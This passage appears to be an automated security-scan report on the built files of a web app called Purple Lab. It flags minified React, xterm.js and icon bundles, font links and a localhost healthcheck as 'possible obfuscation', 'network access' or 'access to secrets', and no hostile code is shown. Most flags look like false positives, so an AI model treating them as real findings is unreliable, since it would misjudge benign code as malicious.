    import{a0 as r,u as o,r as c,j as e}from"./index-DOUc1fHo.js";function x(){const{user:l,loading:t,login:i,isLocalMode:n}=r(),s=o();return c.useEffect(()=>{!t&&(l||n)&&s("/",{replace:!0})},[l,t,n,s]),t?e.jsx("div",{className:"h-screen bg-[#F
  • Executable scriptline 1
    Executable file

web-app/dist/assets/MagicPage-NPSBAxfc.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 31
    */const he=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],pe=C

web-app/dist/assets/MetricsPage-DE5BYswy.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 6
    */const Q=[["path",{d:"M13.744 17.736a6 6 0 1 1-7.48-7.48",key:"bq4yh3"}],["path",{d:"M15 6h1v4",key:"11y1tn"}],["path",{d:"m6.134 14.768.866-.5 2 3.464",key:"17snzx"}],["circle",{cx:"16",cy:"8",r:"6",key:"14bfc9"}]],X=U("coins",Q),o={top:2

web-app/dist/assets/NotFoundPage-ChakqXtu.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/ProjectPage-9CEnUXvW.css

  • Network accessline 2
    * Copyright (c) 2014 The xterm.js authors. All rights reserved.  * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)  * https://github.com/chjj/term.js
  • Network accessline 3
    * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)  * https://github.com/chjj/term.js  * @license MIT
  • Network accessline 4
    * https://github.com/chjj/term.js
  • Network accessline 25
    * Originally forked from (with the author's permission):  *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/
  • Network accessline 26
    *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/  *   Copyright (c) 2011 Fabrice Bellard
  • Network accessline 27
    *   http://bellard.org/jslinux/

web-app/dist/assets/ProjectPage-BCv8qSrj.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 2
    var ca=e=>{throw TypeError(e)};var ha=(e,t,s)=>t.has(e)||ca("Cannot "+s);var Ks=(e,t,s)=>(ha(e,t,"read from private field"),s?s.call(e):t.get(e)),da=(e,t,s)=>t.has(e)?ca("Cannot add the same private member more than once"):t instanceof Weak
  • Possible obfuscationline 163
    In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function ga(e,t){var s=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter(function(n){return Object.getOw
  • Network accessline 171
    For more please check the link https://github.com/suren-atoyan/monaco-loader#config   `},ya=jf(Lf)(bc),Pf={config:Df},Mf=function(){for(var t=arguments.length,s=new Array(t),i=0;i<t;i++)s[i]=arguments[i];return function(n){return s.reduceRi
  • Possible obfuscationline 172
    `},ya=jf(Lf)(bc),Pf={config:Df},Mf=function(){for(var t=arguments.length,s=new Array(t),i=0;i<t;i++)s[i]=arguments[i];return function(n){return s.reduceRight(function(o,a){return a(o)},n)}};function yc(e,t){return Object.keys(t).forEach(fun
  • Network accessline 179
    * Originally forked from (with the author's permission):  *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/
  • Network accessline 180
    *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/  *   Copyright (c) 2011 Fabrice Bellard
  • Network accessline 181
    *   http://bellard.org/jslinux/
  • Possible obfuscationline 183
    */var Kc=Object.defineProperty,op=Object.getOwnPropertyDescriptor,ap=(e,t)=>{for(var s in t)Kc(e,s,{get:t[s],enumerable:!0})},Ce=(e,t,s,i)=>{for(var n=i>1?void 0:i?op(t,s):t,o=e.length-1,a;o>=0;o--)(a=e[o])&&(n=(i?a(t,s,n):a(n))||n);return 
  • Possible obfuscationline 189
    `+e.stack):e},0)}}addListener(e){return this.listeners.push(e),()=>{this._removeListener(e)}}emit(e){this.listeners.forEach(t=>{t(e)})}_removeListener(e){this.listeners.splice(this.listeners.indexOf(e),1)}setUnexpectedErrorHandler(e){this.u
  • Possible obfuscationline 190
    `).slice(2).join( `))}},Bp=class extends Error{constructor(e,t){super(e),this.name="ListenerLeakError",this.stack=t}},Tp=class extends Error{constructor(e,t){super(e),this.name="ListenerRefusalError",this.stack=t}},zp=0,Or=class{constructor
  • Possible obfuscationline 191
    [Credential-related source omitted]
  • Possible obfuscationline 192
    `)})),this._register(this._bufferService.onResize(()=>this.queueSync())),this._register(this._bufferService.buffers.onBufferActivate(()=>{this._latestYDisp=void 0,this.queueSync()})),this._register(this._bufferService.onScroll(()=>this._syn
  • Possible obfuscationline 197
    ",e.SSA="<U+0086>",e.ESA="<U+0087>",e.HTS="<U+0088>",e.HTJ="<U+0089>",e.VTS="<U+008A>",e.PLD="<U+008B>",e.PLU="<U+008C>",e.RI="<U+008D>",e.SS2="<U+008E>",e.SS3="<U+008F>",e.DCS="<U+0090>",e.PU1="<U+0091>",e.PU2="<U+0092>",e.STS="<U+0093>",e.CCH="<U+0094>",e.MW="<U+0095>",e.SPA="<U+0096>",e.EPA="<U+0097>",e.SOS="<U+0098>",e.SGCI="<U+0099>",e.SCI="<U+009A>",e.CSI="<U+009B>",e.ST="<U+009C>",e.OSC="<U+009D>",
  • Possible obfuscationline 198
    `: `)}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestA
  • Possible obfuscationline 199
    `)}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnim
  • Possible obfuscationline 200
    `))),this._register(this._terminal.onA11yTab(o=>this._handleTab(o))),this._register(this._terminal.onKey(o=>this._handleKey(o.key))),this._register(this._terminal.onBlur(()=>this._clearLiveRegion())),this._register(this._renderService.onDim
  • Possible obfuscationline 201
    `&&(this._liveRegionLineCount++,this._liveRegionLineCount===Ll+1&&(this._liveRegion.textContent+=gn.get())))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0}_handleKey(e){this._clearLiveRegion(),new RegExp("\\
  • Network accessline 209
    * Originally forked from (with the author's permission):  *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/
  • Network accessline 210
    *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/  *   Copyright (c) 2011 Fabrice Bellard
  • Network accessline 211
    *   http://bellard.org/jslinux/
  • Possible obfuscationline 213
    */var px=2,_x=1,gx=class{activate(e){this._terminal=e}dispose(){}fit(){let e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;let t=this._terminal._core;(this._terminal.rows!==e.rows||this._terminal.cols!
  • Network accessline 220
    * Originally forked from (with the author's permission):  *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/
  • Network accessline 221
    *   Fabrice Bellard's javascript vt100 for jslinux:  *   http://bellard.org/jslinux/  *   Copyright (c) 2011 Fabrice Bellard
  • Network accessline 222
    *   http://bellard.org/jslinux/
  • Possible obfuscationline 224
    */var xx=class{constructor(e,t,s,i={}){this._terminal=e,this._regex=t,this._handler=s,this._options=i}provideLinks(e,t){let s=bx.computeLink(e,this._regex,this._terminal,this._handler);t(this._addCallbacks(s))}_addCallbacks(e){return e.map(
  • Possible obfuscationline 227
    \x1B[33m-- Terminal disconnected. Reconnecting in ${(y/1e3).toFixed(0)}s (attempt ${x+1}/${Ml})... --\x1B[0m`),a.current=setTimeout(()=>{c.current&&f()},y)},g.onerror=()=>{}},[e,l]);return d.useEffect(()=>{c.current=!0,h.current=0;const m=s
  • Network accessline 229
    placeholder:text-muted disabled:opacity-50`})]}),r.jsxs("div",{className:"flex items-center justify-between gap-2",children:[r.jsxs("a",{href:e.tokenUrl,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 tex
  • Possible obfuscationline 229
    placeholder:text-muted disabled:opacity-50`})]}),r.jsxs("div",{className:"flex items-center justify-between gap-2",children:[r.jsxs("a",{href:e.tokenUrl,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 tex
  • Possible obfuscationline 231
    This will revert files to this checkpoint state.`))){c(_);try{await V.restoreCheckpoint(e,_),await u(),t==null||t()}catch{m("Failed to restore checkpoint")}c(null)}},[e,s,a,u,t]);if(n)return r.jsxs("div",{className:"flex items-center gap-2 
  • Network accessline 232
    Project: ${f.substring(0,100)}${f.length>100?"...":""}`:"", https://autonomi.dev`].filter(Boolean).join(
  • Possible obfuscationline 232
    Project: ${f.substring(0,100)}${f.length>100?"...":""}`:"", https://autonomi.dev`].filter(Boolean).join( `);try{await navigator.clipboard.writeText(v),p(!0),setTimeout(()=>p(!1),2e3)}catch{}},[l,h,f]);if(!e)return null;const x=wv(t),y=x.ico
  • Network accessline 233
    https://autonomi.dev`].filter(Boolean).join(`
  • Possible obfuscationline 234
    `);try{await navigator.clipboard.writeText(v),p(!0),setTimeout(()=>p(!1),2e3)}catch{}},[l,h,f]);if(!e)return null;const x=wv(t),y=x.icon;return r.jsxs("div",{className:"flex items-center gap-3 px-3 py-1 bg-card border-t border-border text-[
  • Possible obfuscationline 237
    `,children:[m.label,r.jsx(io,{size:10,className:"opacity-50"})]},`${m.label}-${u}`))})]})}function as(e,t){if(e.length===0)return e;const s=[...e],i=s[s.length-1];return s[s.length-1]={...i,...t(i)},s}function Vl(e,t){return e||(typeof t!="
  • Possible obfuscationline 238
    `))n.startsWith("__FILE_CHANGE__")?s.push(n.replace("__FILE_CHANGE__","")):n.startsWith("__COMMAND__")?i.push(n.replace("__COMMAND__","")):t.push(n);return{textLines:t,fileChanges:s,commands:i}}function Av({msgIndex:e}){const[t,s]=d.useStat
  • Possible obfuscationline 244
    `).length} lines)`}),n&&n.fileChanges.length>0&&r.jsxs("div",{className:"mt-2 pt-2 border-t border-border",children:[r.jsxs("span",{className:"text-[11px] text-muted font-semibold uppercase flex items-center gap-1",children:[r.jsx(ee,{size:
  • Network accessline 245
    [cancelled]`}:{})),(B=D.current)==null||B.focus()},[e]),ue=d.useCallback(async B=>{var Ke;let G=0,ae;do{if(await new Promise(be=>setTimeout(be,2e3)),ae=await V.chatPoll(e,B),G++,ae.output_lines.length>0){const be=ae.output_lines.join(` `);o
  • Network accessline 247
    `),ae.returncode),filesChanged:ae.files_changed,returncode:ae.returncode}:{})),((Ke=ae.files_changed)==null?void 0:Ke.length)>0&&s&&s(ae.files_changed)},[e,s]),De=d.useCallback(async B=>{var G;const J=new AbortController;L.current=J,U.curre
  • Possible obfuscationline 249
    `);$e=qe.pop()||"";for(const is of qe){if(!is.trim())continue;const Ze=is.split( `);let Ss="",Dt="";for(const Ve of Ze)Ve.startsWith("event:")?Ss=Ve.slice(6).trim():Ve.startsWith("data:")&&(Dt=Ve.slice(5).trim());if(Ss==="output"&&Dt)try{co
  • Possible obfuscationline 251
    `+Ve:Ve}:{}))}catch{}else if(Ss==="complete"&&Dt)try{const{returncode:Ve,files_changed:Ge}=JSON.parse(Dt);o(Qe=>as(Qe,Rt=>Rt.role==="system"&&Rt.isStreaming?{isStreaming:!1,filesChanged:Ge,returncode:Ve,content:Vl(Rt.content,Ve)}:{})),(Ge==
  • Possible obfuscationline 252
    `);u==null||u(N)};return r.jsxs("div",{className:`card overflow-hidden ${g}`,children:[r.jsxs("button",{onClick:()=>_(!p),className:"w-full flex items-center justify-between px-4 py-3 hover:bg-hover/30 transition-colors",children:[r.jsxs("d
  • Possible obfuscationline 253
    text-primary hover:bg-primary/5 rounded-card transition-colors`,children:[r.jsx(xc,{size:12}),"Share Insights"]})})]})]})}const Zv=800,Gl=[1,2,5];function Qv(e){const t=new Date(e);return e&&!Number.isNaN(t.getTime())?t.toLocaleTimeString()
  • Possible obfuscationline 258
    group cursor-pointer`,children:[r.jsx(ee,{size:14,className:T(L.path)}),r.jsxs("div",{className:"flex-1 min-w-0",children:[r.jsx("div",{className:"text-xs font-medium text-ink group-hover:text-primary transition-colors truncate",children:L.
  • Possible obfuscationline 259
    `).length))},[a]),Sd=d.useCallback(b=>{w.current=b;const $=b;if($!=null&&$.onDidChangeCursorPosition&&$.onDidChangeCursorPosition(W=>{ed({line:W.position.lineNumber,column:W.position.column})}),$!=null&&$.getModel){const W=$.getModel();W!=n
  • Network accessline 260
    `)})]}),te.port&&!(H!=null&&H.running)&&r.jsxs("p",{className:"text-xs text-muted",children:["Server will run on port ",te.port]})]}):r.jsx("div",{className:"flex-1 flex items-center justify-center text-muted text-sm",children:Xl(Vo)})]})})
  • Possible obfuscationline 260
    `)})]}),te.port&&!(H!=null&&H.running)&&r.jsxs("p",{className:"text-xs text-muted",children:["Server will run on port ",te.port]})]}):r.jsx("div",{className:"flex-1 flex items-center justify-center text-muted text-sm",children:Xl(Vo)})]})})

web-app/dist/assets/ProjectsPage-D7t3kXi1.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 6
    */const Y=[["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}],["circle",{cx:"12",cy:"5",r:"1",key:"gxeob9"}],["circle",{cx:"12",cy:"19",r:"1",key:"lyex9k"}]],V=T("ellipsis-vertical",Y),q={none:"p-0",sm:"p-3",md:"p-4",lg:"p-6"};function H({hove

web-app/dist/assets/SettingsPage-DWcOoseJ.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 6
    [Credential-related source omitted]
  • Possible obfuscationline 10
    greet("world");`})})]}),e.jsx(b,{}),e.jsx(d,{children:"Formatting"}),e.jsx(f,{label:"Tab size",description:"Number of spaces per tab",options:[{value:"2",label:"2 spaces"},{value:"4",label:"4 spaces"},{value:"8",label:"8 spaces"}],value:W,o

web-app/dist/assets/ShowcasePage-BGBS53rc.js

  • Network accessline 1
    import{j as e,X as h,u}from"./index-DOUc1fHo.js";const c=[{label:"Q1",period:"Jan - Mar 2026",features:[{name:"Multi-provider support (5 providers)",status:"completed"},{name:"Memory system with vector search",status:"completed"},{name:"Pur
  • Possible obfuscationline 1
    import{j as e,X as h,u}from"./index-DOUc1fHo.js";const c=[{label:"Q1",period:"Jan - Mar 2026",features:[{name:"Multi-provider support (5 providers)",status:"completed"},{name:"Memory system with vector search",status:"completed"},{name:"Pur
  • Executable scriptline 1
    Executable file

web-app/dist/assets/SystemSettingsPage-DnlNsHR1.js

  • Possible obfuscationline 1
    [Credential-related source omitted]
  • Executable scriptline 1
    [Credential-related source omitted]
  • Access to secretsline 1
    [Credential-related source omitted]

web-app/dist/assets/TeamsPage-gbdyps5P.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 11
    */const ne=[["path",{d:"M13 21h8",key:"1jsn5i"}],["path",{d:"M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z",key:"1a8usu"}]],ce=M("pen-line",ne),de={admin:{la

web-app/dist/assets/TemplatesPage-CoCS7TBP.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 16
    */const oe=[["path",{d:"M9.671 4.136a2.34 2.34 0 0 1 4.659 0 2.34 2.34 0 0 0 3.319 1.915 2.34 2.34 0 0 1 2.33 4.033 2.34 2.34 0 0 0 0 3.831 2.34 2.34 0 0 1-2.33 4.033 2.34 2.34 0 0 0-3.319 1.915 2.34 2.34 0 0 1-4.659 0 2.34 2.34 0 0 0-3.32-
  • Possible obfuscationline 21
    `})]})}const $=[{label:"Basics",icon:C},{label:"Tech Stack",icon:X},{label:"Features",icon:ce},{label:"Review",icon:S}],E=[{id:"react",label:"React",group:"Frontend"},{id:"nextjs",label:"Next.js",group:"Frontend"},{id:"vue",label:"Vue",grou
  • Possible obfuscationline 23
    Tech stack: ${t.join(", ")}`:"",o.length? Features: ${o.join(", ")}`:""].join("");sessionStorage.setItem("pl_custom_prompt",x),a("/"),l()},[g,h,m,u,a,l]),y=E.reduce((t,o)=>(t[o.group]||(t[o.group]=[]),t[o.group].push(o),t),{});return e.jsxs
  • Possible obfuscationline 24
    Features: ${o.join(", ")}`:""].join("");sessionStorage.setItem("pl_custom_prompt",x),a("/"),l()},[g,h,m,u,a,l]),y=E.reduce((t,o)=>(t[o.group]||(t[o.group]=[]),t[o.group].push(o),t),{});return e.jsxs("div",{className:"fixed inset-0 z-50 flex
  • Possible obfuscationline 29
    `})]})}const fe=[{key:"all",label:"All",icon:P},{key:"Website",label:"Web Apps",icon:Z},{key:"API",label:"APIs",icon:ee},{key:"CLI",label:"CLIs",icon:V},{key:"Bot",label:"Bots",icon:te},{key:"Data",label:"Data",icon:se},{key:"Other",label:"

web-app/dist/assets/TerminalOutput-Bu59uXM6.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 16
    */const S=[["path",{d:"M16.247 7.761a6 6 0 0 1 0 8.478",key:"1fwjs5"}],["path",{d:"M19.075 4.933a10 10 0 0 1 0 14.134",key:"ehdyv1"}],["path",{d:"M4.925 19.067a10 10 0 0 1 0-14.134",key:"1q22gi"}],["path",{d:"M7.753 16.239a6 6 0 0 1 0-8.478

web-app/dist/assets/activity-RK1kWujc.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/bell-PkQgU5tb.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/bot-KfQKc1W2.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/check-CLP-eFsI.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/chevron-left-L1ARkN2A.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/circle-alert-DQaOtcz7.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/clock-Dj81AT7o.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/cloud-CBc9HiD3.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/code-xml-Cg-6mn1e.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/database-hcC4hh9n.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/dollar-sign-D7KwqRKC.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/file-code-corner-BeiPZfPk.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/file-plus-Bbb3V7O6.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/globe-ePwFFIti.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/hammer-DCZkTmjn.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/index-DOUc1fHo.js

  • Network accessline 1
    const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/HomePage-mHgVLI9j.js","assets/usePolling--6qRWxz8.js","assets/ErrorBoundary-iEMh3HfQ.js","assets/TerminalOutput-Bu59uXM6.js","assets/lock-BR3SVeMz.js","assets/EvidenceReceiptP
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    var bg=Object.defineProperty;var Sg=(i,o,r)=>o in i?bg(i,o,{enumerable:!0,configurable:!0,writable:!0,value:r}):i[o]=r;var _u=(i,o,r)=>Sg(i,typeof o!="symbol"?o+"":o,r);(function(){const o=document.createElement("link").relList;if(o&&o.supp
  • Possible obfuscationline 18
    */var c0;function _g(){if(c0)return ae;c0=1;var i=Symbol.for("react.transitional.element"),o=Symbol.for("react.portal"),r=Symbol.for("react.fragment"),s=Symbol.for("react.strict_mode"),d=Symbol.for("react.profiler"),m=Symbol.for("react.cons
  • Possible obfuscationline 26
    */var s0;function Ng(){return s0||(s0=1,(function(i){function o(k,W){var P=k.length;k.push(W);e:for(;0<P;){var Ce=P-1>>>1,pe=k[Ce];if(0<d(pe,W))k[Ce]=W,k[P]=pe,P=Ce;else break e}}function r(k){return k.length===0?null:k[0]}function s(k){if(
  • Network accessline 32
    * This source code is licensed under the MIT license found in the  * LICENSE file in the root directory of this source tree.  */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<argu
  • Network accessline 33
    * LICENSE file in the root directory of this source tree.  */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(va
  • Network accessline 34
    */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(var j=2;j<arguments.length;j++)y+="&args[]="+encodeURICompone
  • Possible obfuscationline 34
    */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(var j=2;j<arguments.length;j++)y+="&args[]="+encodeURICompone
  • Network accessline 40
    * This source code is licensed under the MIT license found in the  * LICENSE file in the root directory of this source tree.  */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors
  • Network accessline 41
    * LICENSE file in the root directory of this source tree.  */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(argume
  • Network accessline 42
    */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var l=2;l<arguments.length;l++)t+="&args[]="+en
  • Possible obfuscationline 42
    */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var l=2;l<arguments.length;l++)t+="&args[]="+en
  • Possible obfuscationline 43
    at`)?" (<anonymous>)":-1<l.stack.indexOf("@")?"@unknown:0:0":""}return `+Sc+e+Dr}var xc=!1;function Ec(e,t){if(!e||xc)return"";xc=!0;var l=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var a={DetermineComponentFrameRoot:functio
  • Possible obfuscationline 44
    `+Sc+e+Dr}var xc=!1;function Ec(e,t){if(!e||xc)return"";xc=!0;var l=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var a={DetermineComponentFrameRoot:function(){try{if(t){var w=function(){throw Error()};if(Object.defineProperty(
  • Possible obfuscationline 49
    [Credential-related source omitted]
  • Network accessline 50
    `).replace(T1,"")}function dm(e,t){return t=fm(t),fm(e)===t}function Te(e,t,l,a,n,u){switch(l){case"children":if(typeof a=="string")t==="body"||t==="textarea"&&a===""||qa(e,a);else if(typeof a=="number"||typeof a=="bigint")t!=="body"&&qa(e,
  • Possible obfuscationline 50
    `).replace(T1,"")}function dm(e,t){return t=fm(t),fm(e)===t}function Te(e,t,l,a,n,u){switch(l){case"children":if(typeof a=="string")t==="body"||t==="textarea"&&a===""||qa(e,a);else if(typeof a=="number"||typeof a=="bigint")t!=="body"&&qa(e,
  • Network accessline 57
    *  * @license MIT  */var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"st
  • Network accessline 59
    */var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"state"in i&&"key"in i
  • Possible obfuscationline 59
    */var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"state"in i&&"key"in i
  • Possible obfuscationline 61
    Please change the parent <Route path="${G}"> to <Route path="${G==="/"?"*":`${G}/*`}">.`)}let x=kt(),y;if(o){let G=typeof o=="string"?Rn(o):o;De(C==="/"||((q=G.pathname)==null?void 0:q.startsWith(C)),`When overriding the location using \`<R
  • Network accessline 84
    * This source code is licensed under the ISC license.  * See the LICENSE file in the root directory of this source tree.  */var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",
  • Network accessline 85
    * See the LICENSE file in the root directory of this source tree.  */var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"rou
  • Network accessline 86
    */var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/**
  • Network accessline 354
    * This source code is licensed under the ISC license.  * See the LICENSE file in the root directory of this source tree.  */const Fb=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78
  • Network accessline 356
    [Credential-related source omitted]
  • Possible obfuscationline 356
    [Credential-related source omitted]
  • Access to secretsline 356
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]
  • Possible obfuscationline 419
    Reason, Act, Reflect, Verify -- the AI's thinking process. It plans what to do (Reason), writes code (Act), reviews its own work (Reflect), and runs tests (Verify).`}],NS=[{title:"Your First Build",description:"Learn how to create a project
  • Possible obfuscationline 420
    `),r=[];let s=[];const d=()=>{s.length>0&&(r.push(h.jsx("ul",{className:"list-disc list-inside space-y-1 text-xs text-ink leading-relaxed",children:s.map((m,p)=>h.jsx("li",{children:hr(m)},p))},`ul-${r.length}`)),s=[])};for(let m=0;m<o.leng
  • Possible obfuscationline 435
    `}),h.jsx("span",{className:`flex-shrink-0 mt-0.5 ${p.icon}`,children:h.jsx(p.IconComponent,{size:18})}),h.jsxs("div",{className:"flex-1 min-w-0",children:[h.jsx("p",{className:"text-sm font-medium text-[#201515] dark:text-[#E8E6E3]",childr

web-app/dist/assets/layers-DCsRb5Mz.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/loader-circle-20jch_P3.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/lock-BR3SVeMz.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/package-BBTTXS5s.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/plus-Djq8BzoS.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/refresh-cw-wsCa1mCg.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/rotate-ccw-DR6yOe_5.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/scroll-text-B8xdqAGX.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/server-Dm3VKzKU.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/shield-alert-CG6IydWg.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/thumbs-up-Dm-ujUy6.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/trash-2-BqO_GJJk.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/trending-down-DaPKY5Q9.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/trending-up-COtd-NWK.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/upload-CbiA6m9-.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/usePolling--6qRWxz8.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/user-DD2d70oe.js

  • Executable scriptline 1
    Executable file

web-app/dist/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />     <title>Purple Lab -- Powered by Loki Mode</title>     <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 6
    <title>Purple Lab -- Powered by Loki Mode</title>     <link rel="preconnect" href="https://fonts.googleapis.com">     <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 7
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 8
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 9
    <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">

web-app/docker-compose.purple-lab.yml

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 24
    condition: service_healthy     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:57375/health"]
  • Network accessline 25
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:57375/health"]       interval: 10s
  • Network accessline 26
    test: ["CMD", "curl", "-f", "http://localhost:57375/health"]

web-app/eslint.config.js

  • Executable scriptline 1
    Executable file

web-app/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />     <title>Purple Lab -- Powered by Loki Mode</title>     <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 6
    <title>Purple Lab -- Powered by Loki Mode</title>     <link rel="preconnect" href="https://fonts.googleapis.com">     <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 7
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 8
